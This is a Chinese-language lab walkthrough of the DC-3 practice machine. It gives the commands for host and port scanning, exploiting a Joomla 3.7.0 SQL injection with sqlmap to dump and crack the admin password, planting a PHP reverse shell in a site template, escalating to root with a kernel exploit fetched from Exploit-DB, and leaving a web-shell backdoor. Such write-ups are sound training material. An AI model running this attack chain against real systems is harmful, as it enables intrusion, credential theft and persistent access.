8.100个渗透测试实战#8(DC-3)
世间一切皆可努力
感谢浏览
目录
1.查看kali的网卡、IP等信息;(网卡名:eth0,IP地址:192.168.97.129)
3.探测特定网络内的存活主机;(netdiscover,arp-scan,nmap)
6.在kali对42033.txt进行修改,获取payload,再sqlmap跑出admin的密码;
7.把**出的hash加密后的密码,复制进hash,使用john**;
2.修改模板,写入php-reverse-shell.php,反弹shell到kali;
(六)渗透测试——进行致命连问,进一步信息收集,从而本地提权
1.网站的CMS是Joomla,其登陆后可以修改模板,写入php-reverse-shell.php的内容,反弹shell;
2.Joomal3.7.0存在着一个sql注入漏洞,存在于kali的42033.txt内,可以提示我门使用sqlmap获取网站后台admin用户的密码(内附payload);
3.John --show ./hash(**hash加密密文);
一、实验环境
- 靶机:DC-3,IP地址:192.168.97.159
- 测试机:Kali,IP地址:192.168.97.129
- 测试机:物理机Win10
- 连接方式:NAT
二、实验流程
- 信息收集——主机发现阶段
- 信息收集——端口(服务)扫描阶段
- 渗透测试——80端口
- 渗透测试——Getshell
- 渗透测试——本地提权
- 清楚痕迹,留下后门
三、实验步骤
(一)信息收集——主机发现阶段
1.查看kali的网卡、IP等信息;(网卡名:eth0,IP地址:192.168.97.129)
2.查看靶机页面;
3.探测特定网络内的存活主机;(netdiscover,arp-scan,nmap)
- netdiscover -i eth0 -r 192.168.97.0/24
-i 指定出口网卡
-r 指定待扫描网段
- arp-scan -l
--localnet or -l 指定扫描本地网络
- nmap -sP 192.168.97.0/24
-sP ping扫描且不扫描端口
4.分析所得:
- kali:192.168.97.129
- 测试机DC-3:192.168.97.159
(二)信息收集——端口(服务)扫描阶段
1.扫描靶机的端口、服务、running_OS等信息;
- nmap -p- -sV -O -A 192.168.97.129
-p- 扫描全端口
-sV 扫描端口的服务信息
-O/A 扫描靶机的运行的操作系统信息
2.分析所得:
- 共扫描65535个端口,只有1个端口打开;
- 80端口处于open状态,对应开启的服务是http;
- 靶机运行的操作系统是Ubuntu,内核版本在3.2-4.9之间;
(三)渗透测试——80端口(http服务)
1.枚举靶机网站的目录和页面等;
- dirb http://192.168.97.159 /usr/share/dirb/wordlists/big.txt
- 遇见扫描
2.在扫描的同时,访问靶机站点的首页;
- 火狐浏览器,访问:http://192.168.97.159
如下图所示:
①该页面是DC-3的家,结合登录框,猜测是DC-3网站的后台管理页面;
②猜测用户名为admin;
③提示大意:这里只有一个入口,只有一个flag,毫无疑问的需要获取root权限,祝我好运之类的话
- 指纹识别网站首页
如下图所示,其CMS是Joomla
//注意joomla3.7.0存在一个关于sql注入的漏洞,存在kali的42033.txt内(searchsploit -m 42033.txt 复制到当前目录)
//注意joomla的模板处可以编辑html的php文件,只要写入php-reverse-shell.php,即可反弹
- F12调出开发者工具,查看元素,没有可以信息;
-
尝试访问robots.txt
如下图所示,404
3.逐个分析以上的扫描结果;
- http://192.168.97.129/administrator
如下图所示,登录框,点击左下角可以跳转到主页;
- 其余页面,大多是空白页,猜测是php页面,但是里面用注释写着很多的内容;
4.分析所得:
- 唯一的一个80端口,开启了http服务;
- 该靶机的网站首页,是一个登录页面,猜测用户名是admin;
- 网站的CMS是Joomla,其登陆后可以修改模板,写入php-reverse-shell.php的内容,反弹shell;
- Joomal3.7.0存在着一个sql注入漏洞,存在于kali的42033.txt内,猜测可以帮助我们获取网站后台admin用户的密码;
5.判断joomla的版本;
- joomscan --url http://192.168.97.159
joomscan 是一个专门用来扫描joomla搭建的网站(形如WordPress的扫描工具wpscan一样)
--url 后接网址
如下图所示,Joomla的版本是3.7.0,管理员页面是/administrator
6.在kali对42033.txt进行修改,获取payload,再sqlmap跑出admin的密码;
- searchsploit 42033.txt
- searchsploit -m 42033.txt
-m 把某某exp复制到当前目录下
- cat 42033.txt
如下图所示,我找到了42033.txt的使用方法,把localhost改为靶机的IP地址192.168.97.159即可
- 修改exp为:sqlmap -u "http://192.168.97.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
- 开始爆库:sqlmap -u "http://192.168.97.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
- 开始爆表:sqlmap -u "http://192.168.97.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
- 开始爆字段(列):sqlmap -u "http://192.168.97.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" T "#__users" --columns -p list[fullordering]
- 开始爆字段值:sqlmap -u "http://192.168.97.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" T "#__users" C "name,password" --dump -p list[fullordering]
7.把**出的hash加密后的密码,复制进hash,使用john**;
- john --show ./hash
--show 显示**的结果
hash 是保存admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu的文本
如上图所示,爆出了密码,admin:snoopy
8.分析所得:
- 登录页:http://192.168.97.159或者http://192.168.97.159/administrator
- 一个用户,admin:snoopy
- 猜测可以使用模板的修改功能,获取shell;
(四)渗透测试——登录后台页面,修改模板,Getshell
1.登录网址后台;
- http://192.168.97.159
如下图所示,登录成功,并不是后台页面
- http://192.168.97.159/administrator
如下图所示,登录成功
2.修改模板,写入php-reverse-shell.php,反弹shell到kali;
- 点击extensions扩展--->点击templates模板的templates--->点击Beez3--->点击new file,再html目录下新建一个php-reverse-shell.php文件,并且把提前准备好的脚本拷贝进去(注意把IP修改为kali的,并且端口随便写一个8443)--->点击保存即可相当于上传了一个shell;
- kali打开侦听端口8443
- 分析网站保存的php-reverse-shell.php在哪
如下图所示,提示:“/html/php-reverse-shell.php” in template "beez3“
根据提示,猜测目录结果:http://192.168.97.159/templates/beez3//html/php-reverse-shell.php
- 浏览器访问http://192.168.97.159/templates/beez3//html/php-reverse-shell.php,从而触发连接
3.获取交互式shell;
- python -c 'import pty;pty.spawn("/bin/bash")'
发现python并没安装,获取失败
(六)渗透测试——进行致命连问,进一步信息收集,从而本地提权
1.开始致命连问,没有可用信息;
- history
- whoami
- id
- pwd
- ls -la
- ls -la /home
- cat /etc/passwd
- ls -la /home/dc3
- cd /var/www/html
- ls -la
- cat configuration.php
如下图所示,发现了可以的密码,但是没有交互式的shell,不能使用mysql
- netstat -pantu
如下图所示,3306端口打开的,mysql是在运行的
- cat configuration.php
如下图所示,发现了日志存放文件
- ls -l /var/www/html/administrator/logs
- cat /var/www/html/administrator/logs/com_biblestudy.errors.php
如下图所示,瞎搞,看不懂。。。。。。
- cat /var/www/html/administrator/logs/error.php
- cat /var/www/html/administrator/logs/index.html
- uname -r
- lsb_release -r
- lsb_release -a
2.尝试内核提权;
- shell上查看靶机的内核版本:uname -r
- kali另启动一个终端搜索相应的提权脚本:searchsploit 4.4.0-21 pri esc
如下图所示,发现了40049.c 47170.c 44300.c
- 尝试:40049.c
- kali,复制exp到当前目录,并且发送exp
searchsploit -m 40049.c
nc -lp 1234 < 40049.c
- 靶机,接收Exp
cd /tmp
nc -nv 192.168.97.129 1234 > 40049.c
gcc -o 40049 40049.c
gcc -o 40049 40049.c -pthread
//结果没用。。。。。
- 47170.c //没用
- 44300.c //没用
3. 扩大范围再搜一次exp;
- kali,searchsploit 16.04 4.4 pri esc
如下图所示,发现了可能有用的:39972.txt(百度来的。。。。)
- kali,把39772.txt复制下来:searchsploit -m 39772.txt
- 查看exp使用方法,cat 39772.txt
- kali上wget获取网上的exp压缩包:wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
- 把kali上的exp传输给靶机的Shell上:nc -lp 12345 < 39772.zip
- 靶机的shell上:nc -nv 192.168.97.129 12345 > 39772.zip
- 靶机的shell上:unzip 39772.zip
- 靶机的shell上:tar -xvf crasher.tar
- 靶机的shell上:tar -xvf exploit.tar
- 靶机的shell上:cd ebpf_mapfd_doubleput_exploit(只需要进入这个目录即可)
- 靶机的shell上: ./compile.sh(执行该脚本,自动编译出doubleput、hello、suidhelper)
- ./doubleput 提升为root,获取flag
(七)清楚痕迹,留下后门
1.靶机Shell:wget 1.php;
2.物理机,使用菜刀连接获取目录结构,右键获取终端;
- 出了点问题。。。。
四、总结
1.网站的CMS是Joomla,其登陆后可以修改模板,写入php-reverse-shell.php的内容,反弹shell;
2.Joomal3.7.0存在着一个sql注入漏洞,存在于kali的42033.txt内,可以提示我门使用sqlmap获取网站后台admin用户的密码(内附payload);
3.John --show ./hash(**hash加密密文);
4.joomscam专门用来扫描joomla的站点;